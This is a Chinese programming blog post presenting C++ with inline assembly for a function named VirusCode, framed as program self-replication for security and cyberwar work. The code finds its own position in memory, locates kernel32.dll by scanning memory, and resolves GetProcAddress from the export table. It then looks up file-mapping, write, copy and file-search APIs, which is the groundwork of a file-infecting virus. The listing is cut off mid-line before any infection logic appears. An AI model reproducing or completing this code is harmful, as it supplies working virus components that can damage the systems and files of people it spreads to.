现在的位置: 首页 > 综合 > 正文

基于visual c++之windows核心编程代码分析(65)实现程序自我复制

2013年08月18日 ⁄ 综合 ⁄ 共 17355字 ⁄ 字号 评论关闭

我们进行信息安全与网络战编程的时候,经常需要实现程序的自我复制,

我们如何实现程序的自我复制呢,

请见代码

  1. #include <iostream.h> 
  2. #include <windows.h> 
  3. #include <stdio.h> 
  4.  
  5. ////////////////////////////////////////////////////////////////////////// 
  6. //******************************************************************* 
  7. //*******以下为程序代码******* 
  8. //*******此段代码首先动态获取API入口地址 
  9. //*******然后实现代码的自我复制 
  10. //******************************************************************* 
  11. ////////////////////////////////////////////////////////////////////////// 
  12. void VirusCode() 
  13.     ////////////////////////////////////////////////////////////////////////// 
  14.     //  *******以下代码用于获取本函数在内存中的起始地址******* 
  15.     //  *******本函数功能相对独立******* 
  16.     ////////////////////////////////////////////////////////////////////////// 
  17.     ////////////////////////////////////////////////////////////////////////// 
  18.     //  *******变量说明******* 
  19.     //  **dwCodeBegin   :本函数的开始地址 
  20.     //  **dwCodeEnd     :本函数的结束地址 
  21.     //  **dwMyCodeAddr  :自己写的代码的开始地址 
  22.     ////////////////////////////////////////////////////////////////////////// 
  23.     DWORD dwCodeBegin , dwCodeEnd , dwMyCodeAddr; 
  24.      
  25.     //  *******指针变量******* 
  26.     PBYTE pMove = NULL; 
  27.      
  28.     //  *******动态获取自己写的代码的开始地址******* 
  29.     _asm 
  30.     { 
  31.         call    A 
  32. A: 
  33.         pop     eax 
  34.              
  35.         mov     dwMyCodeAddr , eax 
  36.     } 
  37.      
  38.     //  *******把地址赋给变量******* 
  39.     pMove = (PBYTE)dwMyCodeAddr; 
  40.      
  41.     //  *******向前搜索得到函数的真正入口地址******* 
  42.     while(!((*pMove == 0x55) && (*(pMove + 1) == 0x8B))) 
  43.     { 
  44.         pMove --; 
  45.     } 
  46.      
  47.     //  *******此时pMove指向函数的入口push ebp处******* 
  48.     dwCodeBegin = (DWORD)pMove; 
  49.      
  50.     //cout << "开始地址为:" << hex << dwCodeBegin << endl; 
  51.      
  52.     //  *******从自己写的代码处向后搜索******* 
  53.     pMove = (PBYTE)dwMyCodeAddr; 
  54.      
  55.     while (!((*(pMove + 1) == 0x5B) && (*pMove == 0x5E) && (*(pMove - 1) == 0x5F)
  56.             && (*(pMove + 2) == 0x8B) && (*(pMove + 3) == 0xE5))) 
  57.     { 
  58.         pMove ++; 
  59.     } 
  60.      
  61.     pMove += 9; 
  62.     //  *******此时pMove指向ret的前一条指令pop ebp处******* 
  63.     dwCodeEnd = (DWORD)pMove; 
  64.  
  65.     DWORD dwFunCodeLen; 
  66.     dwFunCodeLen = dwCodeEnd - dwCodeBegin; 
  67.  
  68.     ////////////////////////////////////////////////////////////////////////// 
  69.     //  *******上面为获取本函数的起始与结束地址******* 
  70.     ////////////////////////////////////////////////////////////////////////// 
  71.  
  72.     ////////////////////////////////////////////////////////////////////////// 
  73.     ////////////////////////////////////////////////////////////////////////// 
  74.     //  *******下面动态获取API入口地址 
  75.     ////////////////////////////////////////////////////////////////////////// 
  76.     ////////////////////////////////////////////////////////////////////////// 
  77.  
  78.     //  *******定义用到的字符串******* 
  79.     char GetProcAddrName[] = {'G','e','t','P','r','o','c','A','d','d','r','e','s','s','\0'}; 
  80.     char LoadLibName[] = {'L','o','a','d','L','i','b','r','a','r','y','A','\0'}; 
  81.      
  82.     DWORD KernelBase; 
  83.     //  *******获取本程序结束后的返回地址,此地址必须在开始处获得******* 
  84.     _asm 
  85.     { 
  86.         mov eax , [ebp+4] 
  87.             mov KernelBase,eax 
  88.     } 
  89.  
  90.     ////////////////////////////////////////////////////////////////////////// 
  91.     //  *******以下通过变换得到Kernel32.dll的基址******* 
  92.     ////////////////////////////////////////////////////////////////////////// 
  93.     KernelBase = KernelBase & 0Xffff0000; 
  94.      
  95.     //  *******检查是否到了kernel32.dll的装载基址******* 
  96.     IMAGE_DOS_HEADER *doshead; 
  97.      
  98.     while(KernelBase >= 0X70000000) 
  99.     { 
  100.         //  *******首先检查dos文件头******* 
  101.         doshead = (IMAGE_DOS_HEADER*)KernelBase; 
  102.         if(doshead->e_magic == IMAGE_DOS_SIGNATURE) 
  103.         { 
  104.             //  *******再检查NT文件头******* 
  105.             IMAGE_NT_HEADERS* nthead; 
  106.             nthead = (IMAGE_NT_HEADERS*)((LPBYTE)doshead+doshead->e_lfanew); 
  107.             if(nthead->Signature == IMAGE_NT_SIGNATURE) 
  108.             { 
  109.                 break
  110.             } 
  111.         } 
  112.         KernelBase-=0x10000; 
  113.     } 
  114.  
  115.     ////////////////////////////////////////////////////////////////////////// 
  116.     //  *******以下通过搜索kernel32.dll得到GetProcAddress的地址******* 
  117.     ////////////////////////////////////////////////////////////////////////// 
  118.  
  119.     DWORD AddrOfGetProcAddr , AddrOfLoadLib; 
  120.     IMAGE_DOS_HEADER* pFile1;   //指向dos文件头 
  121.     IMAGE_NT_HEADERS* pFile2;   //指向nt文件头 
  122.      
  123.     //  *******检查文件的合法性******* 
  124.     pFile1 = (IMAGE_DOS_HEADER* )KernelBase; 
  125.     if(pFile1->e_magic != IMAGE_DOS_SIGNATURE) 
  126.     { 
  127.         return
  128.     } 
  129.     pFile2 = (IMAGE_NT_HEADERS*)((PBYTE)pFile1 + pFile1->e_lfanew); 
  130.     if(pFile2->Signature != IMAGE_NT_SIGNATURE) 
  131.     { 
  132.         return
  133.     } 
  134.      
  135.     IMAGE_EXPORT_DIRECTORY *pExport; 
  136.     pExport = (IMAGE_EXPORT_DIRECTORY *)((PBYTE)pFile1 + pFile2->OptionalHeader.DataDirectory[0].VirtualAddress); 
  137.      
  138.     //  *******以下在导出表中搜索名字为"GetProcAddress"的函数地址******* 
  139.     char *FunName; 
  140.     DWORD *AddrOfNameRVA; 
  141.     WORD *AddrOfNameOrRVA; 
  142.      
  143.     AddrOfNameRVA = (DWORD*)(KernelBase + pExport->AddressOfNames); 
  144.     for (int i = 0 ; i < (int)pExport->NumberOfNames ; i++) 
  145.     { 
  146.         FunName = (char*)(KernelBase + AddrOfNameRVA[i]); 
  147.  
  148.         //  *******函数名与字符串"GetProcAddress"进行比较******* 
  149.         BOOL eql = 1; 
  150.         for (int j = 0 ; j < 15 ; j ++) 
  151.         { 
  152.             if (GetProcAddrName[j] != FunName[j]) 
  153.             { 
  154.                 eql = 0; 
  155.                 break
  156.             } 
  157.         } 
  158.         //  *******如果字符串相等了,说明找到了******* 
  159.         if (eql) 
  160.         { 
  161.             AddrOfNameOrRVA = (WORD*)(KernelBase + pExport->AddressOfNameOrdinals); 
  162.              
  163.             int num = 0; 
  164.              
  165.             num = pExport->Base + AddrOfNameOrRVA[i]; 
  166.              
  167.             DWORD *AddrOfFun; 
  168.              
  169.             AddrOfFun = (DWORD*)(KernelBase + pExport->AddressOfFunctions); 
  170.             AddrOfGetProcAddr = KernelBase + AddrOfFun[num - 1]; 
  171.              
  172.             break
  173.         } 
  174.     } 
  175.  
  176.     ////////////////////////////////////////////////////////////////////////// 
  177.     ////////////////////////////////////////////////////////////////////////// 
  178.     //  *******以下集中获取要用到的API入口地址******* 
  179.     ////////////////////////////////////////////////////////////////////////// 
  180.     ////////////////////////////////////////////////////////////////////////// 
  181.  
  182.     //  *******定义GetProcAddress函数类型******* 
  183.     typedef DWORD (WINAPI *stGetProcAddress)(HMODULE ,
    LPCSTR); 
  184.      
  185.     //  *******定义LoadLibraryA函数地址******* 
  186.     typedef DWORD (WINAPI *stLoadLibrary)(LPCSTR); 
  187.  
  188.     //  *******调用GetProcAddress获取LoadLibrary地址******* 
  189.     //  *******定义GetProcAddress函数变量******* 
  190.     stGetProcAddress myGetProcAddress; 
  191.      
  192.     //  *******给函数赋地址******* 
  193.     myGetProcAddress = (stGetProcAddress)AddrOfGetProcAddr; 
  194.      
  195.     //  *******调用GetProcAddress******* 
  196.     AddrOfLoadLib = myGetProcAddress((HMODULE)KernelBase , LoadLibName); 
  197.      
  198.     //  *******定义LoadLibrary函数变量******* 
  199.     stLoadLibrary myLoadLibrary; 
  200.      
  201.     //  *******给函数赋地址******* 
  202.     myLoadLibrary = (stLoadLibrary)AddrOfLoadLib; 
  203.      
  204.     char User32Name[] = {'u','s','e','r','3','2','.','d','l','l','\0'}; 
  205.     DWORD User32Base;   //存放user32.dll的基址 
  206.      
  207.     //  *******得到user32.dll的基址******* 
  208.     User32Base = myLoadLibrary(User32Name); 
  209.      
  210.     ////////////////////////////////////////////////////////////////////////// 
  211.     //  *****获取CreateFile函数地址***** 
  212.     ////////////////////////////////////////////////////////////////////////// 
  213.     //  *****首先定义函数类型***** 
  214.     typedef HANDLE (WINAPI *stCreateFile)(LPCTSTR ,
    DWORD , DWORD , LPSECURITY_ATTRIBUTES ,  
  215.                             DWORD ,
    DWORD , HANDLE); 
  216.     //  *****定义函数变量***** 
  217.     stCreateFile myCreateFile; 
  218.  
  219.     //  *****定义函数名称字符串***** 
  220.     char CreateFileName[] = {'C','r','e','a','t','e','F','i','l','e','A','\0'}; 
  221.  
  222.     //  *****获得函数地址***** 
  223.     myCreateFile = (stCreateFile)myGetProcAddress((HMODULE)KernelBase , CreateFileName); 
  224.  
  225.  
  226.     ////////////////////////////////////////////////////////////////////////// 
  227.     //  *****获取CreateFileMapping函数地址***** 
  228.     ////////////////////////////////////////////////////////////////////////// 
  229.     //  *****首先定义函数类型***** 
  230.     typedef HANDLE (WINAPI *stCreateFileMapping)(HANDLE , LPSECURITY_ATTRIBUTES ,  
  231.         DWORD , DWORD ,
    DWORD , LPCTSTR ); 
  232.  
  233.     //  *****定义函数变量***** 
  234.     stCreateFileMapping myCreateFileMapping; 
  235.  
  236.     //  *****定义函数名称字符串***** 
  237.     char CreateFileMappingName[] = {'C','r','e','a','t','e','F','i','l','e'
  238.                                     'M','a','p','p','i','n','g','A','\0'}; 
  239.  
  240.     //  *****获得函数地址***** 
  241.     myCreateFileMapping = (stCreateFileMapping)myGetProcAddress((HMODULE)KernelBase ,  
  242.                             CreateFileMappingName); 
  243.      
  244.  
  245.     ////////////////////////////////////////////////////////////////////////// 
  246.     //  *****获取MapViewOfFile函数地址***** 
  247.     ////////////////////////////////////////////////////////////////////////// 
  248.     //  *****首先定义函数类型***** 
  249.     typedef LPVOID (WINAPI *stMapViewOfFile)(HANDLE ,
    DWORD , DWORD ,
    DWORD , DWORD); 
  250.  
  251.     //  *****定义函数变量***** 
  252.     stMapViewOfFile myMapViewOfFile; 
  253.      
  254.     //  *****定义函数名称字符串***** 
  255.     char MapViewOfFileName[] = {'M','a','p','V','i','e','w','O','f','F','i','l','e','\0'}; 
  256.      
  257.     //  *****获得函数地址***** 
  258.     myMapViewOfFile = (stMapViewOfFile)myGetProcAddress((HMODULE)KernelBase ,  
  259.                                                         MapViewOfFileName); 
  260.  
  261.  
  262.     ////////////////////////////////////////////////////////////////////////// 
  263.     //  *****获取GlobalAlloc函数地址***** 
  264.     ////////////////////////////////////////////////////////////////////////// 
  265.     //  *****首先定义函数类型***** 
  266.     typedef HGLOBAL (WINAPI *stGlobalAlloc)(UINT ,
    SIZE_T); 
  267.  
  268.     //  *****定义函数变量***** 
  269.     stGlobalAlloc myGlobalAlloc; 
  270.      
  271.     //  *****定义函数名称字符串***** 
  272.     char GlobalAllocName[] = {'G','l','o','b','a','l','A','l','l','o','c','\0'}; 
  273.      
  274.     //  *****获得函数地址***** 
  275.     myGlobalAlloc = (stGlobalAlloc)myGetProcAddress((HMODULE)KernelBase ,  
  276.                                                         GlobalAllocName); 
  277.  
  278.  
  279.  
  280.     ////////////////////////////////////////////////////////////////////////// 
  281.     //  *****获取RtlMoveMemory函数地址***** 
  282.     ////////////////////////////////////////////////////////////////////////// 
  283.     //  *****首先定义函数类型***** 
  284.     typedef void (WINAPI *stRtlMoveMemory)(PVOID ,
    const VOID* ,
    SIZE_T ); 
  285.      
  286.     //  *****定义函数变量***** 
  287.     stRtlMoveMemory myRtlMoveMemory; 
  288.      
  289.     //  *****定义函数名称字符串***** 
  290.     char RtlMoveMemoryName[] = {'R','t','l','M','o','v','e','M','e','m','o','r','y','\0'}; 
  291.      
  292.     //  *****获得函数地址***** 
  293.     myRtlMoveMemory = (stRtlMoveMemory)myGetProcAddress((HMODULE)KernelBase ,  
  294.                                                         RtlMoveMemoryName); 
  295.  
  296.  
  297.  
  298.  
  299.     ////////////////////////////////////////////////////////////////////////// 
  300.     //  *****获取SetFilePointer函数地址***** 
  301.     ////////////////////////////////////////////////////////////////////////// 
  302.     //  *****首先定义函数类型***** 
  303.     typedef DWORD (WINAPI *stSetFilePointer)(HANDLE ,
    LONG , PLONG ,
    DWORD); 
  304.      
  305.     //  *****定义函数变量***** 
  306.     stSetFilePointer mySetFilePointer; 
  307.      
  308.     //  *****定义函数名称字符串***** 
  309.     char SetFilePointerName[] = {'S','e','t','F','i','l','e','P','o','i','n','t','e','r','\0'}; 
  310.      
  311.     //  *****获得函数地址***** 
  312.     mySetFilePointer = (stSetFilePointer)myGetProcAddress((HMODULE)KernelBase ,  
  313. SetFilePointerName);
  314.  
  315.  
  316.     ////////////////////////////////////////////////////////////////////////// 
  317.     //  *****获取WriteFile函数地址***** 
  318.     ////////////////////////////////////////////////////////////////////////// 
  319.     //  *****首先定义函数类型***** 
  320.     typedef BOOL (WINAPI *stWriteFile)(HANDLE ,
    LPCVOID , DWORD ,
    LPDWORD , LPOVERLAPPED); 
  321.      
  322.     //  *****定义函数变量***** 
  323.     stWriteFile myWriteFile; 
  324.      
  325.     //  *****定义函数名称字符串***** 
  326.     char WriteFileName[] = {'W','r','i','t','e','F','i','l','e','\0'}; 
  327.      
  328.     //  *****获得函数地址***** 
  329.     myWriteFile = (stWriteFile)myGetProcAddress((HMODULE)KernelBase ,  
  330.                                                         WriteFileName); 
  331.  
  332.  
  333.     ////////////////////////////////////////////////////////////////////////// 
  334.     //  *****获取SetEndOfFile函数地址***** 
  335.     ////////////////////////////////////////////////////////////////////////// 
  336.     //  *****首先定义函数类型***** 
  337.     typedef BOOL (WINAPI *stSetEndOfFile)(HANDLE); 
  338.  
  339.     //  *****定义函数变量***** 
  340.     stSetEndOfFile mySetEndOfFile; 
  341.      
  342.     //  *****定义函数名称字符串***** 
  343.     char SetEndOfFileName[] = {'S','e','t','E','n','d','O','f','F','i','l','e','\0'}; 
  344.      
  345.     //  *****获得函数地址***** 
  346.     mySetEndOfFile = (stSetEndOfFile)myGetProcAddress((HMODULE)KernelBase ,  
  347.                                                         SetEndOfFileName); 
  348.  
  349.  
  350.     ////////////////////////////////////////////////////////////////////////// 
  351.     //  *****获取CloseHandle函数地址***** 
  352.     ////////////////////////////////////////////////////////////////////////// 
  353.     //  *****首先定义函数类型***** 
  354.     typedef BOOL (WINAPI *stCloseHandle)(HANDLE); 
  355.  
  356.     //  *****定义函数变量***** 
  357.     stCloseHandle myCloseHandle; 
  358.      
  359.     //  *****定义函数名称字符串***** 
  360.     char CloseHandleName[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'}; 
  361.      
  362.     //  *****获得函数地址***** 
  363.     myCloseHandle = (stCloseHandle)myGetProcAddress((HMODULE)KernelBase ,  
  364.                                                         CloseHandleName); 
  365.  
  366.  
  367.     ////////////////////////////////////////////////////////////////////////// 
  368.     //  *****获取UnmapViewOfFile函数地址***** 
  369.     ////////////////////////////////////////////////////////////////////////// 
  370.     //  *****首先定义函数类型***** 
  371.     typedef BOOL (WINAPI *stUnmapViewOfFile)(LPCVOID); 
  372.  
  373.  
  374.     //  *****定义函数变量***** 
  375.     stUnmapViewOfFile myUnmapViewOfFile; 
  376.      
  377.     //  *****定义函数名称字符串***** 
  378.     char UnmapViewOfFileName[] = {'U','n','m','a','p','V','i','e','w','O','f','F','i','l','e','\0'}; 
  379.      
  380.     //  *****获得函数地址***** 
  381.     myUnmapViewOfFile = (stUnmapViewOfFile)myGetProcAddress((HMODULE)KernelBase ,  
  382. UnmapViewOfFileName);
  383.  
  384.  
  385.     ////////////////////////////////////////////////////////////////////////// 
  386.     //  *****获取FindFirstFile函数地址***** 
  387.     ////////////////////////////////////////////////////////////////////////// 
  388.     //  *****首先定义函数类型***** 
  389.     typedef HANDLE (WINAPI *stFindFirstFile)(LPCTSTR , LPWIN32_FIND_DATA); 
  390.  
  391.  
  392.     //  *****定义函数变量***** 
  393.     stFindFirstFile myFindFirstFile; 
  394.      
  395.     //  *****定义函数名称字符串***** 
  396.     char FindFirstFileName[] = {'F','i','n','d','F','i','r','s','t','F','i','l','e','A','\0'}; 
  397.      
  398.     //  *****获得函数地址***** 
  399.     myFindFirstFile = (stFindFirstFile)myGetProcAddress((HMODULE)KernelBase ,  
  400.                                                         FindFirstFileName); 
  401.  
  402.  
  403.     ////////////////////////////////////////////////////////////////////////// 
  404.     //  *****获取CopyFile函数地址***** 
  405.     ////////////////////////////////////////////////////////////////////////// 
  406.     //  *****首先定义函数类型***** 
  407.     typedef BOOL (WINAPI *stCopyFile)(LPCTSTR ,
    LPCTSTR , BOOL); 
  408.  
  409.  
  410.     //  *****定义函数变量***** 
  411.     stCopyFile myCopyFile; 
  412.      
  413.     //  *****定义函数名称字符串***** 
  414.     char CopyFileName[] = {'C','o','p','y','F','i','l','e','A','\0'}; 
  415.      
  416.     //  *****获得函数地址***** 
  417.     myCopyFile = (stCopyFile)myGetProcAddress((HMODULE)KernelBase ,  
  418.                                                         CopyFileName); 
  419.  
  420.  
  421.     ////////////////////////////////////////////////////////////////////////// 
  422.     //  *****获取FindNextFile函数地址***** 
  423.     ////////////////////////////////////////////////////////////////////////// 
  424.     //  *****首先定义函数类型***** 
  425.     typedef BOOL (WINAPI *stFindNextFile)(HANDLE , LPWIN32_FIND_DATA); 
  426.  
  427.     //  *****定义函数变量***** 
  428.     stFindNextFile myFindNextFile; 
  429.      
  430.     //  *****定义函数名称字符串***** 
  431.     char FindNextFileName[] = {'F','i','n','d','N','e','x','t','F','i','l','e','A','\0'}; 
  432.      
  433.     //  *****获得函数地址***** 
  434.     myFindNextFile = (stFindNextFile)myGetProcAddress((HMODULE)KernelBase ,  
  435.                                                         FindNextFileName); 
  436.  
  437.  
  438.     ////////////////////////////////////////////////////////////////////////// 
  439.     //  *****获取FindClose函数地址***** 
  440.     ////////////////////////////////////////////////////////////////////////// 
  441.     //  *****首先定义函数类型***** 
  442.     typedef BOOL (WINAPI *stFindClose)(HANDLE);  
  443.  
  444.     //  *****定义函数变量***** 
  445.     stFindClose myFindClose; 
  446.      
  447.     //  *****定义函数名称字符串***** 
  448.     char FindCloseName[] = {'F','i','n','d','C','l','o','s','e','\0'}; 
  449.      
  450.     //  *****获得函数地址***** 
  451.     myFindClose = (stFindClose)myGetProcAddress((HMODULE)KernelBase ,  
  452.                                                         FindCloseName); 
  453.  
  454.  
  455.     ////////////////////////////////////////////////////////////////////////// 
  456.     //  *****获取lstrcat函数地址***** 
  457.     ////////////////////////////////////////////////////////////////////////// 
  458.     //  *****首先定义函数类型***** 
  459.     typedef LPTSTR (WINAPI *stlstrcat)(LPTSTR ,
    LPTSTR); 
  460.  
  461.     //  *****定义函数变量***** 
  462.     stlstrcat mylstrcat; 
  463.      
  464.     //  *****定义函数名称字符串***** 
  465.     char lstrcatName[] = {'l','s','t','r','c','a','t','\0'}; 
  466.      
  467.     //  *****获得函数地址***** 
  468.     mylstrcat = (stlstrcat)myGetProcAddress((HMODULE)KernelBase ,  
  469.                                                         lstrcatName); 
  470.  
  471.  
  472.     ////////////////////////////////////////////////////////////////////////// 
  473.     //  *****获取lstrcpy函数地址***** 
  474.     ////////////////////////////////////////////////////////////////////////// 
  475.     //  *****首先定义函数类型***** 
  476.     typedef LPTSTR (WINAPI *stlstrcpy)(LPTSTR ,
    LPTSTR); 
  477.  
  478.     //  *****定义函数变量***** 
  479.     stlstrcpy mylstrcpy; 
  480.      
  481.     //  *****定义函数名称字符串***** 
  482.     char lstrcpyName[] = {'l','s','t','r','c','p','y','\0'}; 
  483.      
  484.     //  *****获得函数地址***** 
  485.     mylstrcpy = (stlstrcpy)myGetProcAddress((HMODULE)KernelBase ,  
  486.                                                         lstrcpyName); 
  487.  
  488.  
  489.     ////////////////////////////////////////////////////////////////////////// 
  490.     //  *****获取lstrlen函数地址***** 
  491.     ////////////////////////////////////////////////////////////////////////// 
  492.     //  *****首先定义函数类型***** 
  493.     typedef int (WINAPI *stlstrlen)(LPCTSTR); 
  494.  
  495.     //  *****定义函数变量***** 
  496.     stlstrlen mylstrlen; 
  497.      
  498.     //  *****定义函数名称字符串***** 
  499.     char lstrlenName[] = {'l','s','t','r','l','e','n','\0'}; 
  500.      
  501.     //  *****获得函数地址***** 
  502.     mylstrlen = (stlstrlen)myGetProcAddress((HMODULE)KernelBase ,  
  503.                                                         lstrlenName); 
  504.  
  505.  
  506.     ////////////////////////////////////////////////////////////////////////// 
  507.     //  *****获取RtlZeroMemory函数地址***** 
  508.     ////////////////////////////////////////////////////////////////////////// 
  509.     //  *****首先定义函数类型***** 
  510.     typedef void (WINAPI *stRtlZeroMemory)(PVOID ,
    SIZE_T); 
  511.      
  512.     //  *****定义函数变量***** 
  513.     stRtlZeroMemory myRtlZeroMemory; 
  514.      
  515.     //  *****定义函数名称字符串***** 
  516.     char RtlZeroMemoryName[] = {'R','t','l','Z','e','r','o',

抱歉!评论已关闭.